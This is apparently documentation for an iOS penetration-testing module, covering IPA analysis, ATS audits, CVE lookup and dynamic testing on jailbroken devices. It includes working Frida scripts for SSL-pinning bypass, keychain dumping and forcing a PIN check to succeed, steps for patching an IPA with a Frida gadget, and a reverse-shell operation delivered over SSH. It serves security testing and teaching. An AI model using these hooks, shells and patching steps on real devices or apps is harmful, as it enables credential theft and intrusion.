ios_pentest.

iOS security testing suite covering non-jailbroken static analysis and jailbroken dynamic instrumentation. IPA binary inspection, ATS configuration audit, Info.plist analysis, Frida SSL bypass, keychain dumping, and live NVD CVE assessment — with optional reverse shell delivery over jailbreak SSH.

VANTA Module iOS Frida IPA Analysis SSL Bypass Keychain CVE Lookup Python 3 v0.0.1
CategoryMobile / iOS
Version1.0.1
Locationtools/mobile/ios/
Entrypython3 ios_pentest.py
Operations6
Author0xb0rn3
LicenseMIT
Beginner Startup
New to VANTA or ios_pentest? Start here.
Foundations guide →
What you need first
  • ▸ Jailbroken iPhone or iPad (Checkra1n/Palera1n for older devices)
  • ▸ SSH access via USB: iproxy 2222 22
  • frida-tools: pip install frida-tools
  • ▸ libimobiledevice: pacman -S libimobiledevice
Your first safe command
set device 127.0.0.1:2222
set operation recon
run
Operations by difficulty
  • Easy: recon, app_list, plist_dump
  • Medium: ssl_kill, keychain_dump, frida_hook
  • Advanced: kernel_exploit, jailbreak_detect_bypass, ipa_backdoor
Key terms: Jailbreak — Removing iOS security restrictions to gain root access  ·  IPA — iOS app package format (.ipa) — equivalent to Android APK  ·  Plist — Property List — iOS config/settings file format (XML or binary)  ·  Keychain — iOS secure credential store — passwords, certificates, tokens  — Full glossary →

Overview

What ios_pentest does

ios_pentest is the iOS security testing module inside VANTA. It covers two assessment paths: non-jailbroken static analysis of IPA files and live dynamic instrumentation on jailbroken devices via Frida and SSH.

Static analysis inspects Mach-O binary protections (PIE, stack canary, ARC, encryption flags), ATS policy entries in Info.plist, hardcoded secrets and API keys, and ObjC/Swift class metadata. Dynamic analysis injects Frida SSL bypass scripts, dumps the keychain, and probes the live runtime. CVE lookup runs NVD keyword searches against the detected iOS version and app frameworks.

! ios_pentest is an offensive security tool. Use only on devices you own or have explicit written authorisation to test. Keychain dumping and runtime instrumentation on devices you do not own is illegal in most jurisdictions.
Static
IPA Analysis
PIE, stack canary, ARC, encryption flags, ObjC class dump, Swift symbols, embedded URLs, hardcoded secrets — no device required.
Config Audit
ATS / Info.plist
App Transport Security exceptions, NSAllowsArbitraryLoads, NSExceptionDomains, URL schemes, background modes, entitlements.
Dynamic
Frida Hooks
Runtime instrumentation via Frida: SSL certificate pinning bypass, method tracing, argument inspection. Requires frida-server on device.
Secrets
Keychain Dump
Dump kSecClassGenericPassword, kSecClassInternetPassword, and kSecClassCertificate items via Frida on jailbroken devices.
CVE
NVD Lookup
Live NVD API keyword search against iOS version and detected frameworks. Optional API key for higher rate limits.
Shell
Reverse Shell
Generate bash_tcp or python3 payload and optionally auto-deliver over jailbreak SSH. Starts listener on lhost:lport.

Quick Start

Running ios_pentest

ios_pentest reads JSON from stdin and writes structured JSON to stdout. The target field is the device IP or domain; the params object carries operation and options.

# Device recon — connect device via USB, UDID auto-detected
echo '{
  "target": "192.168.1.50",
  "params": { "operation": "recon" }
}' | python3 ios_pentest.py | jq .

# IPA static analysis — no device needed
echo '{
  "target": "192.168.1.50",
  "params": {
    "operation": "app_scan",
    "ipa_path":  "/tmp/target.ipa",
    "search_secrets": true,
    "deep_analysis":  true
  }
}' | python3 ios_pentest.py

# Full assessment on jailbroken device with Frida SSL bypass
echo '{
  "target": "192.168.1.50",
  "params": {
    "operation":  "full",
    "ssh_host":   "192.168.1.50",
    "ssh_pass":   "alpine",
    "bundle_id":  "com.target.app",
    "ssl_bypass": true,
    "frida":      true
  }
}' | python3 ios_pentest.py | jq .data
i The default operation is recon. A connected device's UDID is auto-detected when only one device is plugged in. For offline IPA-only analysis, set ipa_path and omit ssh_host.

Reference

Operations

Pass the operation name as params.operation. All operations except shell produce a JSON report in data.

Assessment

recon default
Device fingerprint: model, iOS version, serial, UDID, developer mode status, jailbreak indicators, installed app list summary. Uses libimobiledevice.
app_scan static
Full IPA static analysis: binary protections (PIE, canary, ARC, encryption), ATS policy, Info.plist entitlements, hardcoded secrets, embedded URLs, ObjC class metadata, Swift symbols.
vuln_scan cve
iOS CVE assessment covering 2019–present. Checks iOS version, patch level, kernel version, and detected frameworks against NVD keyword results. Optional NVD API key for higher rate.
exploit frida
Dynamic exploitation: Frida SSL pinning bypass, keychain dump (kSecClassGenericPassword, Internet, Certificate), method tracing, argument logging on target bundle_id.
full all
Chain: recon → app_scan → vuln_scan → exploit (if frida=true). Produces a complete assessment JSON combining all sub-results.
shell optional
Generate a reverse shell payload (bash_tcp or python3) and start a listener on lhost:lport. If ssh_host is set, auto-delivers payload over jailbreak SSH.

Reference

Parameters

Core

ParameterTypeDefaultDescription
operationstringreconOperation to run. See Operations section.
udidstringautoDevice UDID. Auto-detected when a single device is connected via USB.
bundle_idstring""Target app bundle ID (e.g. com.apple.mobilesafari). Required for exploit dynamic hooks.
ipa_pathstring""Local path to .ipa file for offline static analysis. No device required when set.

Jailbreak / SSH

ParameterTypeDefaultDescription
ssh_hoststring""IP of jailbroken device for SSH-based deep testing and shell delivery.
ssh_portinteger22SSH port on the jailbroken device.
ssh_userstringrootSSH username. Default root for most jailbreaks.
ssh_passstringalpineSSH password. Default alpine — change it on real engagements.

Analysis flags

ParameterTypeDefaultDescription
search_secretsbooltrueScan IPA and device filesystem for hardcoded API keys, tokens, and credentials.
deep_analysisboolfalseFull Mach-O binary analysis: all sections, ObjC metadata, Swift symbols (slower).
ssl_bypassboolfalseInject Frida SSL bypass script to intercept certificate-pinned HTTPS traffic.
fridaboolfalseEnable Frida dynamic instrumentation. Requires frida-server running on device.
nvd_api_keystring""NVD API key for higher CVE lookup rate limits (optional, free from nvd.nist.gov).

Shell delivery

ParameterTypeDefaultDescription
lhoststringautoAttacker listener IP. Auto-detected from local interface if omitted.
lportinteger4444Listener port.
payload_typestringbash_tcpbash_tcp, python3, or all. Auto-delivered over SSH when ssh_host is set.
servebooltrueInteractive multi-session TUI. Set false for headless JSON (listens for duration seconds).
durationinteger60Headless listener timeout in seconds (when serve=false).

Examples

Examples

Device recon (USB connected)

echo '{
  "target": "192.168.1.50",
  "params": { "operation": "recon" }
}' | python3 ios_pentest.py | jq '.data.device'

IPA static analysis (no device)

echo '{
  "target": "192.168.1.50",
  "params": {
    "operation":      "app_scan",
    "ipa_path":       "/tmp/target.ipa",
    "search_secrets": true,
    "deep_analysis":  true
  }
}' | python3 ios_pentest.py | jq '.data.app_scan.binary_protections'

CVE assessment with NVD API key

echo '{
  "target": "192.168.1.50",
  "params": {
    "operation":   "vuln_scan",
    "nvd_api_key": "YOUR-KEY-HERE"
  }
}' | python3 ios_pentest.py | jq '.data.vuln_scan.cves'

Frida SSL bypass + keychain dump

echo '{
  "target": "192.168.1.50",
  "params": {
    "operation": "exploit",
    "ssh_host":  "192.168.1.50",
    "ssh_pass":  "alpine",
    "bundle_id": "com.target.app",
    "ssl_bypass": true,
    "frida":      true
  }
}' | python3 ios_pentest.py | jq '.data.exploit.keychain'

Full assessment (jailbroken device)

echo '{
  "target": "192.168.1.50",
  "params": {
    "operation":      "full",
    "ssh_host":       "192.168.1.50",
    "ssh_pass":       "alpine",
    "bundle_id":      "com.target.app",
    "ssl_bypass":     true,
    "frida":          true,
    "search_secrets": true,
    "deep_analysis":  true
  }
}' | python3 ios_pentest.py | jq '{
  ios: .data.recon.device.ios_version,
  binary_flags: .data.app_scan.binary_protections,
  cves: (.data.vuln_scan.cves | length),
  keychain_items: (.data.exploit.keychain | length)
}'

Reverse shell — auto-deliver via jailbreak SSH

echo '{
  "target": "192.168.1.50",
  "params": {
    "operation":    "shell",
    "ssh_host":     "192.168.1.50",
    "ssh_pass":     "alpine",
    "lhost":        "192.168.1.114",
    "lport":        4444,
    "payload_type": "bash_tcp"
  }
}' | python3 ios_pentest.py

Requirements

Requirements

DependencyInstallRequired for
libimobiledeviceapt install libimobiledevice-utilsrecon, device connection (ideviceinfo, ideviceinstaller)
frida-toolspip3 install frida-toolsexploit, ssl_bypass, keychain dump, dynamic instrumentation
objectionpip3 install objectionexploit — automated Frida pentest framework
sshpassapt install sshpassshell delivery over jailbreak SSH
class-dumpbrew install class-dumpObjC class extraction from unencrypted binaries (macOS)
jtool2download from jtool.iodeep_analysis: binary protections, sections, entitlements
otoolbuilt into macOS Xcode toolsBinary protections check (PIE, canary, ARC)
plutilbuilt into macOSInfo.plist parsing
frida-ios-dumppip3 install frida-ios-dumpIPA extraction from encrypted App Store apps
i All optional dependencies are checked at module startup. Missing tools are reported before any operation begins. Core static analysis (binary flags, ATS, secrets scan) works with only Python 3 and an IPA file — no device or optional tools required.

iOS Security Architecture Deep Dive

What is iOS security? iOS is a hardened UNIX derivative (based on XNU — a hybrid Mach/BSD kernel) designed to resist exploitation even when an attacker has a malicious app on the device. The defence layers are: hardware security (Secure Enclave, UID fuse), code signing (no unsigned code runs), sandbox (each app in isolated container), and entitlements (capability whitelist). As a pentester your job is to find where these layers fail or are misconfigured.

iOS security layer stack

┌────────────────────────────────────────────────────┐
│  App Layer — UIKit apps in /var/containers/Bundle  │
│  Each app: signed IPA, sandboxed, entitlement-gated│
├────────────────────────────────────────────────────┤
│  Frameworks — UIKit, Security.framework, CFNetwork │
├────────────────────────────────────────────────────┤
│  Darwin (XNU kernel) — Mach + BSD hybrid           │
│  AMFI (AppleMobileFileIntegrity) kext              │
│  Sandbox kext (Seatbelt)                           │
│  TrustCache — CDHash whitelist                     │
├────────────────────────────────────────────────────┤
│  Secure Boot: BootROM → LLB → iBoot → kernel      │
│  Each stage verified by previous (chain of trust)  │
├────────────────────────────────────────────────────┤
│  Hardware: Secure Enclave (SEP), UID fuse,         │
│  AES engine (hardware-accelerated key wrapping)    │
└────────────────────────────────────────────────────┘

App sandbox

Every third-party app runs in a container at /var/mobile/Containers/Data/Application/<UUID>/. It cannot read other apps' data, cannot access system paths, and cannot use kernel APIs not granted by entitlements. The sandbox is enforced by the Seatbelt kernel extension — not by the app itself — so bypassing it requires a kernel exploit, not just clever app code.

App container layout:
/var/mobile/Containers/Data/Application/<UUID>/
├── Documents/        ← user data, iTunes backup included
├── Library/
│   ├── Caches/       ← temp, NOT in iTunes backup
│   ├── Preferences/  ← .plist config files
│   └── Application Support/
├── tmp/              ← truly temporary
└── <bundle>.app/    ← signed read-only binary + resources

Code signing model

Every Mach-O binary on iOS must be signed by Apple (App Store / TestFlight) or by a developer certificate (enterprise / jailbreak). AMFI (kernel extension) checks the cryptographic signature of every page of code before executing it. On a jailbroken device AMFI is patched to accept any signature or none at all — which is why Frida can inject arbitrary code.

Entitlements

Entitlements are XML blobs embedded in the code signature that declare what the app is allowed to do. Without the correct entitlement the kernel returns EPERM regardless of code logic.

<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0"><dict>
  <key>com.apple.security.network.client</key><true/>
  <key>com.apple.developer.associated-domains</key>
  <array><string>applinks:example.com</string></array>
  <key>keychain-access-groups</key>
  <array><string>com.example.app.keychain</string></array>
</dict></plist>

# ios_pentest dumps entitlements with:
ldid -e /var/containers/Bundle/Application/<UUID>/App.app/App
# or: codesign -d --entitlements - /path/to/App

IPA and Mach-O Binary Internals

What is an IPA? An IPA (iOS App Archive) is a ZIP file with the extension .ipa containing a Payload/ directory holding the .app bundle. The app bundle is a directory containing the Mach-O binary, resources, frameworks, and the code signature.

IPA structure

App.ipa (ZIP archive — magic: 50 4B 03 04)
└── Payload/
    └── App.app/
        ├── App            ← Mach-O ARM64/ARM binary (main executable)
        ├── Info.plist     ← App metadata XML (or binary plist)
        ├── _CodeSignature/
        │   └── CodeResources  ← Hash manifest of all files
        ├── embedded.mobileprovision  ← Provisioning profile
        ├── Frameworks/    ← dylibs (Fat binaries)
        ├── *.lproj/       ← Localization strings
        └── Assets.car     ← Compiled asset catalog (sprites, images)

Mach-O binary format (arm64)

Offset  Size  Field
0x00    4     Magic number
              CE FA ED FE = 0xFEEDFACE  (32-bit little-endian)
              CF FA ED FE = 0xFEEDFACF  (64-bit little-endian — arm64)
              BE BA FE CA = 0xCAFEBABE  (Universal/Fat binary)

Fat binary header (multi-arch — arm64 + x86_64 for simulators):
0x00    4     CA FE BA BE  (fat magic)
0x04    4     00 00 00 02  (nfat_arch = 2 slices)
0x08    8     [slice 1: arch/offset/size/align]
0x10    8     [slice 2: arch/offset/size/align]

64-bit Mach-O header (after fat offset):
0x00    4     CF FA ED FE  (MH_MAGIC_64)
0x04    4     CPU type     0C 00 00 01 = ARM (0x0100000C = arm64)
0x08    4     CPU subtype  00 00 00 00 = all (arm64e: 02 00 00 80)
0x0C    4     File type    02 00 00 00 = MH_EXECUTE (app binary)
0x10    4     ncmds        — number of load commands
0x14    4     sizeofcmds   — total size of load commands
0x18    4     flags        85 00 20 00 = PIE|DYLDLINK|TWOLEVEL

Key load commands

LC_SEGMENT_64 (0x19) — memory segment layout
  __TEXT segment: r-x  — code, constants, stubs
    __text section:       actual compiled machine code
    __stubs section:      PLT-like entries for dylib calls
    __cstring section:    C string literals
  __DATA segment: rw-
    __objc_classlist:     ObjC class pointers
    __got:                global offset table
    __bss:                zero-initialised globals

LC_LOAD_DYLIB (0xC) — linked dynamic library
  e.g.: /usr/lib/libc++.1.dylib, /usr/lib/libSystem.B.dylib

LC_CODE_SIGNATURE (0x1D) — offset + size of code signature blob
  → blob is a "SuperBlob" containing:
     CodeDirectory  (hashes of every 4096-byte code page)
     Entitlements   (XML plist)
     CMS Signature  (ASN.1 DER — SHA-256 + RSA/ECDSA + cert chain)

LC_ENCRYPTION_INFO_64 (0x2C) — App Store DRM
  cryptid=1 → pages in [cryptoff, cryptoff+cryptsize) are AES-encrypted
  → must be decrypted at runtime (use frida-ios-dump to get cleartext)

Binary protections (ios_pentest checks)

PIE  (Position Independent Executable)
  MH_PIE flag (0x200000) in Mach-O flags
  → ASLR applies — exploit offsets randomized each launch

Stack canary
  LC_LOAD_DYLIB references libSystem → compiler-inserted ___stack_chk_guard
  → stack smashing → program terminates (not exploitable without leak)

ARC (Automatic Reference Counting)
  Presence of objc_retain/objc_release calls → memory managed automatically
  → less chance of use-after-free in ObjC layer (Swift is safer still)

Encryption
  LC_ENCRYPTION_INFO_64 cryptid=1
  → binary is FairPlay encrypted — must dump from memory

# ios_pentest deep_analysis outputs all four flags:
{"pie": true, "canary": true, "arc": true, "encrypted": true}

Code Signing Internals

iOS will not execute any code that isn't covered by a valid signature. Understanding this is critical both for bypassing it (jailbreak context) and for embedding Frida gadget into a target app.

Code signature blob structure

SuperBlob (magic: 0xFADE0CC0)
├── CodeDirectory  (magic: 0xFADE0C02)
│   ├── version, flags, hashType (SHA-256 = 2)
│   ├── identifier  (bundle ID: "com.example.app")
│   ├── teamID      ("A1B2C3D4E5")
│   ├── codeLimit   (end offset of signed code)
│   ├── nSpecialSlots  (hashes of: entitlements, Info.plist, etc.)
│   └── nCodeSlots      (one SHA-256 per 4096-byte page of __TEXT)
│       [slot 0]: hash of Info.plist
│       [slot 1]: hash of requirements
│       [slot 2]: hash of resource seal
│       [slot 5]: hash of entitlements
│       [code 0..N]: hash of each 4KB code page
├── Entitlements   (magic: 0xFADE7171)
│   └── Raw XML plist bytes
└── CMS Signature  (magic: 0xFADE0B01)
    └── ASN.1 DER PKCS#7 signed data
        ├── signerInfo: SHA-256 + RSA-2048 or ECDSA-P256
        └── certificate chain → Apple CA

Bypassing code signing for sideloading

# On jailbroken device — use ldid to re-sign after patching:
ldid -S entitlements.xml patched_binary

# To embed Frida gadget into an IPA (for non-jailbroken testing):
# 1. Unzip IPA
unzip App.ipa -d App_extracted/

# 2. Copy Frida gadget dylib into Frameworks/
cp FridaGadget.dylib App_extracted/Payload/App.app/Frameworks/

# 3. Patch binary to load gadget (insert LC_LOAD_DYLIB):
insert_dylib --strip-codesig --inplace \
  '@executable_path/Frameworks/FridaGadget.dylib' \
  App_extracted/Payload/App.app/App

# 4. Re-sign with your developer cert:
codesign -f -s "iPhone Developer: Your Name" \
  --entitlements entitlements.plist \
  App_extracted/Payload/App.app/

# 5. Repack + install:
cd App_extracted && zip -r ../App_patched.ipa Payload/
ios-deploy -b App_patched.ipa

Frida Internals: How Dynamic Instrumentation Works

What is Frida? Frida is a dynamic instrumentation toolkit — it injects a JavaScript engine into a running process and lets you hook functions, read/write memory, and call APIs at runtime, all without recompiling the app. On a jailbroken iOS device the frida-server daemon runs as root and does the injection via ptrace or task_for_pid. On non-jailbroken devices you embed the FridaGadget.dylib into the IPA (as shown above).

Injection mechanism (jailbroken)

frida-server (on device, root) receives connection from frida-tools (on host)

1. frida-server calls task_for_pid(target_pid)
   → mach_task_self with correct entitlement → get task port

2. mach_vm_allocate() → allocate RWX memory page in target process

3. mach_vm_write() → write frida-agent bootstrap shellcode to page

4. thread_create_running() → spawn thread in target, PC → shellcode
   Shellcode: dlopen("/usr/lib/frida/frida-agent.dylib", RTLD_LAZY)

5. frida-agent.dylib loads into target process
   → sets up V8 JS engine (QuickJS on iOS for size)
   → opens pipe back to frida-server

6. Your JS script runs in V8 inside the target process
   → full access to process memory, ObjC runtime, Swift runtime

Hooking with Frida JS API

// Hook SSL pinning — intercept SecTrustEvaluate
// (the function that checks if a TLS cert is trusted)
Interceptor.attach(
  Module.findExportByName("Security", "SecTrustEvaluateWithError"),
  {
    onEnter: function(args) {
      // args[0] = SecTrustRef, args[1] = *CFErrorRef
    },
    onLeave: function(retval) {
      retval.replace(1);  // Force return TRUE = trusted
    }
  }
);

// Hook ObjC method — intercept -[NSURLSession ...didReceiveChallenge:...]
var cls = ObjC.classes.NSURLSession;
var method = cls["- URLSession:didReceiveChallenge:completionHandler:"];
Interceptor.attach(method.implementation, {
  onEnter: function(args) {
    var completionHandler = new ObjC.Block(args[4]);
    // Call with NSURLSessionAuthChallengeDisposition = 0 (use credential)
    completionHandler.implementation(0, null);
    // returning here bypasses certificate validation
  }
});

SSL kill switch — how ios_pentest does it

# ios_pentest ssl_kill operation runs a Frida script that:
# 1. Hooks all known SSL pinning entry points:
#    SecTrustEvaluate, SecTrustEvaluateWithError
#    NSURLSession didReceiveChallenge
#    TrustKit, Alamofire pinning
#    Custom pinning via Security.framework OID matching

# 2. Forces all checks to return "trusted"
# 3. Your proxy (Burp Suite, mitmproxy) sees decrypted traffic

# Proxy setup:
# On host: burpsuite → Proxy → Options → 8080
# On device: Settings → Wi-Fi → [network] → Proxy → Manual → host:8080
# Install Burp CA: navigate to http://burp → download cert → trust in iOS Settings

Frida Stalker — tracing execution

// Trace every basic block in the app binary
var appModule = Process.getModuleByName("App");
Stalker.follow(Process.getCurrentThreadId(), {
  events: { call: true, ret: false, exec: false },
  onReceive: function(events) {
    var list = Stalker.parse(events);
    list.forEach(function(event) {
      console.log(event[1].toString(16)); // log call targets
    });
  }
});

iOS Keychain Internals

The iOS Keychain is a SQLite database at /private/var/Keychains/keychain-2.db (root-readable only) managed by the SecurityD daemon. It stores credentials, tokens, and certificates encrypted with keys derived from the device UID + passcode. Apps interact via Security.framework SecItem* APIs.

Protection classes (when data is accessible)

ClasskSecAttrAccessible valueAccessible when
AkSecAttrAccessibleWhenUnlockedDevice unlocked only
BkSecAttrAccessibleAfterFirstUnlockAfter first unlock (survives sleep)
CkSecAttrAccessibleAlways (deprecated)Always, including locked
DkSecAttrAccessibleWhenPasscodeSetUnlocked AND passcode enrolled

Keychain item attributes

SecItemAdd((__bridge CFDictionaryRef)@{
  (__bridge id)kSecClass:           (__bridge id)kSecClassGenericPassword,
  (__bridge id)kSecAttrAccount:     @"[email protected]",
  (__bridge id)kSecAttrService:     @"com.example.app.token",
  (__bridge id)kVANTAalueData:       [@"supersecret" dataUsingEncoding:NSUTF8StringEncoding],
  (__bridge id)kSecAttrAccessible:  (__bridge id)kSecAttrAccessibleAfterFirstUnlock,
}, NULL);

# Item classes:
# kSecClassGenericPassword  — arbitrary credentials
# kSecClassInternetPassword — URL-bound credentials
# kSecClassCertificate      — X.509 certificates
# kSecClassKey              — cryptographic keys
# kSecClassIdentity         — certificate + private key pair

Dumping the keychain

# On jailbroken device — ios_pentest keychain_dump runs:
# Option 1: Keychain-Dumper (compiled for iOS)
# Needs: com.apple.keystore.device entitlement

# Option 2: Frida script (ios_pentest uses this):
var SecurityFramework = Process.getModuleByName("Security");
// Hook SecItemCopyMatching to enumerate all keychain items
Interceptor.attach(
  Module.findExportByName("Security", "SecItemCopyMatching"),
  {
    onEnter: function(args) {
      // Inject kSecMatchLimitAll + kSecReturnAttributes
    },
    onLeave: function(retval) {
      // Parse CFArray of CFDictionary items
      // Extract: account, service, data (password bytes)
    }
  }
);

# Output example:
{
  "keychain_items": [
    {"class": "genp", "account": "[email protected]",
     "service": "com.bank.app.token",
     "data": "eyJhbGciOiJIUzI1NiJ9..."},
    {"class": "inet", "account": "admin",
     "server": "api.example.com", "data": "P@ssw0rd!"}
  ]
}

Customization & Extension

Adding a custom Frida hook operation

# tools/mobile/ios/ios_pentest.py — add a custom operation

# Custom operation: dump all ObjC method calls (trace)
FRIDA_SCRIPTS = {
    "ssl_kill": "...",   # existing
    "keychain_dump": "...",  # existing

    # NEW: method trace
    "method_trace": """
var targetClass = "%TARGET_CLASS%";
var cls = ObjC.classes[targetClass];
if (!cls) { console.log("Class not found"); } else {
  Object.getOwnPropertyNames(cls).forEach(function(method) {
    try {
      Interceptor.attach(cls[method].implementation, {
        onEnter: function(args) {
          console.log("[TRACE] " + targetClass + " " + method);
        }
      });
    } catch(e) {}
  });
  console.log("Tracing " + Object.keys(cls).length + " methods");
}
"""
}

def run_method_trace(device, app_id, target_class):
    script_src = FRIDA_SCRIPTS["method_trace"].replace(
        "%TARGET_CLASS%", target_class
    )
    session = device.attach(app_id)
    script = session.create_script(script_src)
    script.on('message', lambda msg, data: print(msg))
    script.load()
    import time; time.sleep(30)  # collect 30s of traces

Adding a custom static check

# Add check: detect hardcoded JWT secrets in binary strings
import re, subprocess

def check_hardcoded_jwt(binary_path):
    result = subprocess.run(
        ["strings", binary_path],
        capture_output=True, text=True
    )
    # JWT: starts with eyJ (base64 {"alg":...})
    jwt_pattern = re.compile(r'eyJ[A-Za-z0-9+/=]{20,}\.[A-Za-z0-9+/=]{20,}')
    found = jwt_pattern.findall(result.stdout)
    return {"hardcoded_jwts": found, "count": len(found)}

# Register in module operations:
OPERATIONS["jwt_scan"] = {
    "fn": check_hardcoded_jwt,
    "args": ["binary_path"],
    "description": "Scan binary strings for hardcoded JWT tokens"
}

Adding ATS (App Transport Security) audit

# ATS enforces HTTPS. Exceptions in Info.plist weaken security.
# ios_pentest already checks plist_dump — this extends it:

def audit_ats(plist_dict):
    ats = plist_dict.get("NSAppTransportSecurity", {})
    findings = []
    if ats.get("NSAllowsArbitraryLoads"):
        findings.append({
            "severity": "HIGH",
            "key": "NSAllowsArbitraryLoads",
            "detail": "All HTTP allowed — plaintext traffic accepted"
        })
    exceptions = ats.get("NSExceptionDomains", {})
    for domain, config in exceptions.items():
        if config.get("NSExceptionAllowsInsecureHTTPLoads"):
            findings.append({
                "severity": "MEDIUM",
                "key": f"NSExceptionDomains.{domain}",
                "detail": f"HTTP allowed for {domain}"
            })
    return findings

Learning Path

Recommended resources

ResourceFormatFocus
OWASP MASTGFree book/webComplete mobile pentesting methodology (iOS + Android)
TryHackMe — Mobile App PentestingGuided labAndroid + iOS basics together
Frida JS API DocsReferenceComplete Interceptor/ObjC/Memory API
ObjectionToolFrida-based iOS/Android runtime exploration without custom scripts
iOS Hacker's Handbook — Miller et al.BookKernel, browser, and app exploitation (older but foundational)
iOS Security ResourcesCurated listPapers, tools, jailbreak internals
OWASP MAS CrackMesCTF-style labsiOS reverse engineering challenges (static + dynamic)
Apple Platform Security GuideFree PDFAuthoritative Secure Enclave, code signing, Keychain architecture

Practice progression (8 weeks)

Week 1 — iOS security model
  ▸ Read Apple Platform Security Guide (Secure Boot + Code Signing sections)
  ▸ Read OWASP MASTG Chapter: iOS Platform Overview
  ▸ Install Frida on your Mac: pip install frida-tools
  ▸ Frida on simulator: frida -U -n "App Name" → Process.enumerateModules()

Week 2 — Static analysis
  ▸ Download an open-source iOS app IPA (e.g. VLC)
  ▸ Unzip → examine Info.plist, entitlements, binary strings
  ▸ otool -l App | grep -A3 LC_ENCRYPTION → check if encrypted
  ▸ ios_pentest deep_analysis on the IPA

Week 3 — Frida basics
  ▸ Jailbreak an old device (iOS ≤ 15 — Checkra1n works well)
  ▸ Install frida-server on device
  ▸ frida-ps -U → list processes
  ▸ Hook a simple ObjC method with Interceptor.attach
  ▸ Try objection: objection -g "AppName" explore

Week 4 — SSL pinning bypass
  ▸ Set up Burp Suite proxy on Mac
  ▸ Route device traffic through Burp
  ▸ Install Burp CA on device
  ▸ ios_pentest ssl_kill on a banking or social app
  ▸ Capture HTTPS traffic in Burp Proxy → Intercept tab

Week 5 — Keychain analysis
  ▸ Write a simple iOS app that stores a secret in Keychain (Swift)
  ▸ Run ios_pentest keychain_dump → retrieve the secret
  ▸ Try different kSecAttrAccessible values — observe behaviour when locked

Week 6 — Dynamic analysis
  ▸ OWASP MASTG CrackMe Level 1 (iOS)
  ▸ ios_pentest frida_hook on the CrackMe
  ▸ Use Frida to bypass the license check
  ▸ Complete CrackMe Level 2

Week 7 — IPA backdooring
  ▸ Patch a test app with FridaGadget (sideload technique above)
  ▸ Confirm Frida attaches via gadget on non-jailbroken device
  ▸ ios_pentest ipa_backdoor on your own test app only

Week 8 — Full pentest
  ▸ Complete OWASP MASTG Checklist for a real (consented) iOS app
  ▸ Certification prep: eMAPT (eLearnSecurity Mobile Application Pentester)

Essential tools

ToolPurposePlatform
FridaDynamic instrumentation, hookingMac/Linux host + device
ObjectionFrida-based exploration shellMac/Linux host
class-dumpObjC class headers from binarymacOS
Burp Suite CommunityHTTPS proxy, intercept, repeatMac/Linux
jtool2Mach-O analysis, entitlementsmacOS
Ghidra / IDA FreeARM64 disassembly / decompilationMac/Linux
libimobiledeviceDevice comm without Xcodepacman -S libimobiledevice
frida-ios-dumpDump decrypted IPA from memoryPython, device must be jailbroken

E1 Frida Fundamentals

What is Dynamic Instrumentation and Why It Bypasses Static Analysis

Static analysis means examining an app's code without running it - decompiling the binary, reading strings, mapping functions. Dynamic instrumentation means modifying a running app's behavior in real time by injecting code into the process as it executes. Frida is the most powerful dynamic instrumentation framework for mobile platforms. It works on Android and iOS and requires no source code.

How Frida Attaches
Frida injects a JavaScript engine (V8 or Duktape) into the target process using platform-specific injection techniques. On iOS with a jailbreak, frida-server runs as root and uses task_for_pid() to get a Mach port to the target process. Once attached, Frida's JavaScript bridge lets you call any function in the process.
JavaScript Bridge
You write JavaScript that interacts with the running process through Frida's API. ObjC.classes gives you all loaded Objective-C classes. Interceptor.attach hooks any function at its native address. Memory.readUtf8String(ptr) reads memory as a string. The bridge translates between JavaScript types and native types automatically.
Bypassing Static Analysis
Static analysis cannot see what happens inside an obfuscated function at runtime. Frida hooks the function entry and exit points regardless of obfuscation. If an app decrypts a string at runtime, Frida can read it after decryption from memory. Certificate pinning is enforced at runtime - Frida hooks the certificate validation function and makes it always return "valid".
Frida vs Cycript
Cycript was the older tool for Objective-C runtime manipulation on iOS. Frida replaces it and adds support for Swift, C functions, memory scanning, and proper multi-architecture support. Cycript is deprecated and unmaintained. All new iOS dynamic testing should use Frida.
# Install Frida tools on attack machine
pip install frida-tools

# Install frida-server on jailbroken device (via Cydia/Sileo - Frida repo)
# Then on attack machine, list running apps on device
frida-ps -U
  # -U = USB connected device

# Attach to a running app by name
frida -U -n "TargetApp" -e "ObjC.classes"
  # -e = evaluate script inline

# Hook a method to log arguments (save as hook.js)
Interceptor.attach(ObjC.classes.NSURLSession['- dataTaskWithRequest:completionHandler:'].implementation, {
  onEnter: function(args) {
    var request = ObjC.Object(args[2]);
    console.log('[*] URL: ' + request.URL().toString());
  }
});

# Run the hook script
frida -U -n "TargetApp" -l hook.js

# Bypass SSL pinning with a community script
frida -U -n "TargetApp" -l ssl_bypass.js
  # ssl_bypass.js from github.com/httptoolkit/frida-android-unpinning
  # (adapted iOS versions available in VANTA resources)

Finding Juicy Methods in Objective-C Headers

class-dump is a tool that extracts Objective-C class, method, and property declarations from a compiled binary. Even without source code, you can recover the full public API of every class in the app. This is your reconnaissance phase before writing Frida hooks - you find the interesting methods first, then hook them.

Anatomy of a Class Dump Header
Each class appears as a .h file. Instance methods start with -. Class methods start with +. The return type and parameter types are in parentheses. Example: - (BOOL)validatePin:(NSString *)pin forUser:(id)user; This tells you: instance method, returns BOOL, takes a pin string and user object. This is a high-value target for PIN bypass hooks.
High-Value Method Names
Search for method names containing: verify, validate, check, authenticate, isValid, isPinCorrect, decrypt, encrypt, certificate, pin, biometric. Methods returning BOOL that take credential-like parameters are usually authentication checks that can be hooked to always return YES (true).
Swift Demangling
Swift method names are mangled (encoded) in the binary. Use swift-demangle or nm -gU BinaryName | xcrun swift-demangle to convert mangled names to readable form. Frida can hook Swift functions by their mangled name using Module.findExportByName() or by scanning for the demangled name pattern.
# Extract headers from a decrypted IPA binary
class-dump -H -o headers/ TargetApp.app/TargetApp

# Search for authentication-related methods
grep -r "verify\|validate\|authenticate\|isValid\|isPinCorrect" headers/

# Example output line to target:
# - (BOOL)verifyPasscode:(NSString *)passcode;

# Hook it with Frida to always return YES
var LoginVC = ObjC.classes.LoginViewController;
Interceptor.attach(LoginVC['- verifyPasscode:'].implementation, {
  onLeave: function(retval) {
    retval.replace(1);  // force return value to YES (1 = true in ObjC BOOL)
    console.log('[+] PIN check bypassed');
  }
});

checkra1n vs palera1n vs Dopamine - Which Tool for Which Device

A jailbreak removes Apple's sandboxing and code signing restrictions to give you root access to iOS. Different jailbreaks exist because different iOS versions and devices have different vulnerabilities. Understanding which tool to use for which device is the first step in iOS pentesting.

Bootrom Exploit
